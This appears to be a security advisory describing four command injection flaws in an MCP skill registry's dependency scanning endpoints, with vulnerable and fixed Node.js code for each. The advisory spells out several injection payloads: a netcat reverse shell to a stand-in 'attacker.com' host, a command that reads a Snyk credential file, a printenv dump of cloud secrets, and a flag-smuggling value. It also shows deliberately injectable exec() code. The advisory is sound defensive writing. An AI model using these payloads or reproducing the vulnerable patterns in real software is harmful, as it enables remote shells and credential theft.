← Security advisories

Claude MCP skill code injection — skill dependency vulnerability scanning endpoints — SA-SKL-INJECTION46

SA-SKL-INJECTION46 documents four command injection vulnerabilities in MCP skill registry skill dependency vulnerability scanning endpoints. These endpoints invoke security scanning tools — Snyk, Grype, Trivy, and OSV-Scanner — using shell-interpolated exec() calls that incorporate user-supplied project names, image references, scan paths, and output format selectors. Each vulnerability provides a path from the dependency scanning API to arbitrary command execution on the registry server.

SA-SKL-INJECTION46 findings at a glance
CRITICALINJECTION46-001 — exec(`snyk test --file ${manifestPath} --json --project-name ${projectName}`) — attacker projectName with ; cat ~/.config/snyk/config.yaml exfiltrates Snyk auth token and org ID enabling access to all org vulnerability data; fix: execFile() array; validate projectName against /^[a-zA-Z0-9._\-]{1,200}$/; realpathSync containment for manifestPath
CRITICALINJECTION46-002 — exec(`grype ${imageRef} -o ${outputFormat} > ${outputFile}`) — attacker outputFormat with ; nc attacker.com 4444 -e /bin/sh establishes reverse shell; fix: execFile() array; validate outputFormat against /^(json|table|cyclonedx|sarif|template)$/; realpathSync containment
CRITICALINJECTION46-003 — exec(`trivy fs ${scanPath} --format ${format} --output ${outputFile}`) — attacker scanPath with ; printenv exfiltrates all env vars including TRIVY_GITHUB_TOKEN and cloud provider credentials; fix: execFile() array; realpathSync containment for scanPath; validate format against allowed enum
HIGHINJECTION46-004 — exec(`osv-scanner --format ${outputFormat} ${scanDir}`) — attacker outputFormat with space-injected --call-analysis=all traverses call graph expanding scan scope to all transitive dependencies outside sandbox; fix: execFile() array; validate outputFormat against /^(json|table|markdown|sarif)$/; realpathSync containment for scanDir

exec() with template literals is never safe on user-supplied values. Shell metacharacters — ; & | ` $ ( ) — allow arbitrary command injection. Always use execFile() or spawn() with an argument array, which passes each argument directly to the process without shell interpretation. This is the single most impactful fix across all INJECTION46 findings.

INJECTION46-001 — Snyk exec() projectName injection exfiltrates auth token and org ID

Severity: CRITICAL

The Snyk dependency scanning endpoint passes the user-supplied projectName parameter directly into a shell-executed command template. An attacker sets projectName to legit-project; cat ~/.config/snyk/config.yaml. The shell interprets the semicolon as a command separator and executes the second command, which outputs the Snyk CLI configuration file containing the authenticated user's API token and organization ID. The token grants full access to the Snyk organization's vulnerability data for all projects — including private security findings, vulnerability suppression history, and integration credentials.

Vulnerable
// POST /api/skills/:id/scan/snyk — projectName injected into exec() shell command
router.post('/:id/scan/snyk', requireSession, async (req, res) => {
  const { manifestPath, projectName } = req.body;
  // attacker: projectName = "x; cat ~/.config/snyk/config.yaml"
  const { stdout } = await exec(
    `snyk test --file ${manifestPath} --json --project-name ${projectName}`
  );
  return res.json(JSON.parse(stdout));
});
Fixed
// POST /api/skills/:id/scan/snyk — execFile() array + input validation + path containment
import { execFile } from 'node:child_process';
import { promisify } from 'node:util';
import { realpathSync } from 'node:fs';
import path from 'node:path';

const execFileAsync = promisify(execFile);
const SCAN_ROOT = process.env.SCAN_SANDBOX_DIR;  // e.g. /var/sandbox/scans

router.post('/:id/scan/snyk', requireSession, async (req, res) => {
  const { manifestPath, projectName } = req.body;

  // Validate projectName — no shell metacharacters
  if (!/^[a-zA-Z0-9._\-]{1,200}$/.test(projectName)) {
    return res.status(400).json({ error: 'Invalid project name' });
  }

  // Contain manifestPath within sandbox
  const resolved = realpathSync(path.resolve(SCAN_ROOT, manifestPath));
  if (!resolved.startsWith(SCAN_ROOT)) {
    return res.status(400).json({ error: 'Path traversal detected' });
  }

  const { stdout } = await execFileAsync('snyk', [
    'test',
    '--file', resolved,       // array arg — no shell interpretation
    '--json',
    '--project-name', projectName,  // array arg — no shell interpretation
  ]);
  return res.json(JSON.parse(stdout));
});

INJECTION46-002 — Grype exec() outputFormat injection establishes reverse shell

Severity: CRITICAL

The Grype image scanning endpoint passes outputFormat into a shell command template using template literals. An attacker sets outputFormat to json; nc attacker.com 4444 -e /bin/sh. The shell executes the netcat command after the Grype invocation completes, establishing a reverse shell from the registry server to the attacker's listener. Because the registry process runs with the permissions needed to read all skill source code and invoke all scanning tools, the reverse shell provides full access to the scan environment and all credentials available to the registry service account.

Vulnerable
// POST /api/skills/:id/scan/grype — outputFormat injected into exec() shell command
router.post('/:id/scan/grype', requireSession, async (req, res) => {
  const { imageRef, outputFormat, outputFile } = req.body;
  // attacker: outputFormat = "json; nc attacker.com 4444 -e /bin/sh"
  await exec(`grype ${imageRef} -o ${outputFormat} > ${outputFile}`);
  const result = await fs.readFile(outputFile, 'utf8');
  return res.json(JSON.parse(result));
});
Fixed
// POST /api/skills/:id/scan/grype — execFile() array + enum validation
const GRYPE_FORMATS = new Set(['json', 'table', 'cyclonedx', 'sarif', 'template']);

router.post('/:id/scan/grype', requireSession, async (req, res) => {
  const { imageRef, outputFormat } = req.body;

  if (!GRYPE_FORMATS.has(outputFormat)) {
    return res.status(400).json({ error: 'Invalid output format' });
  }

  // Validate imageRef: digest-pinned images only
  if (!/^[a-z0-9.\-\/]+@sha256:[0-9a-f]{64}$/.test(imageRef)) {
    return res.status(400).json({ error: 'imageRef must be digest-pinned' });
  }

  const tmpFile = path.join(SCAN_ROOT, `grype-${crypto.randomUUID()}.json`);
  await execFileAsync('grype', [imageRef, '-o', outputFormat, '--file', tmpFile]);
  const result = await fs.readFile(tmpFile, 'utf8');
  await fs.unlink(tmpFile);
  return res.json(JSON.parse(result));
});

INJECTION46-003 — Trivy exec() scanPath injection exfiltrates cloud credentials

Severity: CRITICAL

The Trivy filesystem scan endpoint interpolates scanPath directly into a shell command. An attacker sets scanPath to /sandbox/skill; printenv. The semicolon separator causes printenv to execute after the Trivy scan, dumping all environment variables — including TRIVY_GITHUB_TOKEN, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, and other cloud provider credentials that the registry process holds for scanning private repositories and cloud images. The printenv output is captured in the scan result and returned to the caller.

Vulnerable
// POST /api/skills/:id/scan/trivy — scanPath injected into exec() shell command
router.post('/:id/scan/trivy', requireSession, async (req, res) => {
  const { scanPath, format, outputFile } = req.body;
  // attacker: scanPath = "/sandbox/skill; printenv"
  const { stdout } = await exec(
    `trivy fs ${scanPath} --format ${format} --output ${outputFile}`
  );
  return res.json({ result: outputFile });
});
Fixed
// POST /api/skills/:id/scan/trivy — execFile() array + path containment + format enum
const TRIVY_FORMATS = new Set(['table', 'json', 'sarif', 'cyclonedx', 'spdx', 'github']);

router.post('/:id/scan/trivy', requireSession, async (req, res) => {
  const { scanPath, format } = req.body;

  if (!TRIVY_FORMATS.has(format)) {
    return res.status(400).json({ error: 'Invalid format' });
  }

  const resolved = realpathSync(path.resolve(SCAN_ROOT, scanPath));
  if (!resolved.startsWith(SCAN_ROOT)) {
    return res.status(400).json({ error: 'Path traversal detected' });
  }

  const tmpFile = path.join(SCAN_ROOT, `trivy-${crypto.randomUUID()}.json`);
  await execFileAsync('trivy', ['fs', resolved, '--format', format, '--output', tmpFile]);
  const result = await fs.readFile(tmpFile, 'utf8');
  await fs.unlink(tmpFile);
  return res.json(JSON.parse(result));
});

INJECTION46-004 — OSV-Scanner exec() space injection expands scan scope via flag injection

Severity: HIGH

The OSV-Scanner endpoint interpolates outputFormat into a shell command template. Unlike classic semicolon-based command injection, this vulnerability uses space injection — the attacker sets outputFormat to json --call-analysis=all. Shell word splitting splits this into two tokens: the format flag value json and an additional OSV-Scanner flag --call-analysis=all that enables call graph traversal. With call graph analysis enabled, OSV-Scanner expands its scan scope to all transitive dependencies reachable in the call graph — potentially including dependencies outside the designated sandbox directory. Classic semicolons-only sanitization fails here because the attack uses a flag injection vector rather than a command separator.

Vulnerable
// POST /api/skills/:id/scan/osv — outputFormat space-injected via exec() shell
router.post('/:id/scan/osv', requireSession, async (req, res) => {
  const { outputFormat, scanDir } = req.body;
  // attacker: outputFormat = "json --call-analysis=all"
  // semicolon check passes; space splits into extra flag
  const { stdout } = await exec(`osv-scanner --format ${outputFormat} ${scanDir}`);
  return res.json(JSON.parse(stdout));
});
Fixed
// POST /api/skills/:id/scan/osv — execFile() array + strict enum + path containment
const OSV_FORMATS = new Set(['json', 'table', 'markdown', 'sarif']);

router.post('/:id/scan/osv', requireSession, async (req, res) => {
  const { outputFormat, scanDir } = req.body;

  // Strict enum match — rejects any value with spaces or flags
  if (!OSV_FORMATS.has(outputFormat)) {
    return res.status(400).json({ error: 'Invalid output format' });
  }

  const resolved = realpathSync(path.resolve(SCAN_ROOT, scanDir));
  if (!resolved.startsWith(SCAN_ROOT)) {
    return res.status(400).json({ error: 'Path traversal detected' });
  }

  // execFile() passes args as array — no shell word splitting
  const { stdout } = await execFileAsync('osv-scanner', [
    '--format', outputFormat,  // enum-validated — no extra flags possible
    resolved,                  // sandbox-contained path
  ]);
  return res.json(JSON.parse(stdout));
});

Related advisories:   SA-SKL-INJECTION45 (static analysis linting)  |  SA-SKL-INJECTION44 (testing validation)